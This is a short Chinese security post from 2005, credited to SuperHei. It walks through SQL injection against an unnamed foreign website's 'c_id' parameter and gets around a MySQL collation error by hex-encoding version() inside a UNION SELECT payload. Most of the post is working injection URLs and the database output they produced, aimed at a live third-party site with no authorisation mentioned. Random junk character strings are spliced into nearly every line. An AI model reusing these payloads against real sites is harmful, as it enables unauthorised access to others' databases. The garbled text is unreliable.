本文作者:SuperHei* c) B9 D% n$ I) A# |" C% ^3 U0 W
文章性质:原创% Y) j8 P/ s- v' L! r
发布日期:2005-10-18! H; F" v% t1 {8 Y5 L' |
测试个国外的站时:
( ?) J2 Z: p' W% Gurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*3 a# T9 r5 [9 N/ }8 r: A# u% p) M0 ?
返回错误:, X$ E0 i m( @ l/ W, }
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'6 n- l% o- H7 g! e$ s n A
MySQL Error No. 1265 J3 {, B5 Y. [/ o$ T0 r! w4 f% R+ T
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。 e" ]4 N @# I/ ^
解决办法:转为其他编码如hex。
) H. F. o( A' \6 Nurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
: Z. v. z: B0 _# J8 r# e成功得到hex(version())的值为:
. ?5 M$ t/ Q) ]; _5 h) ]4 T' S342E312E332D62657461. E: @$ T* u& t* V
回Mysql查询下得到:( s/ R4 x5 W' u2 w9 U. P: F4 ?
mysql> select 0x342E312E332D62657461;! d9 p4 k4 N; K7 X, J6 |0 Y4 [
+------------------------+
' V Y2 E9 u; i, @| 0x342E312E332D62657461 |
) _% W- O) i! b+ l, l+------------------------+4 H7 m8 ]8 R9 o6 N
| 4.1.3-beta |1 Z( m. d) Z. o& H
+------------------------+* k( P' l' i1 f$ s
1 row in set (0.00 sec)
- f9 t' M0 _" Z$ G% e; X; X6 f/ Q2 d' F) N: e0 z& A' j& A
|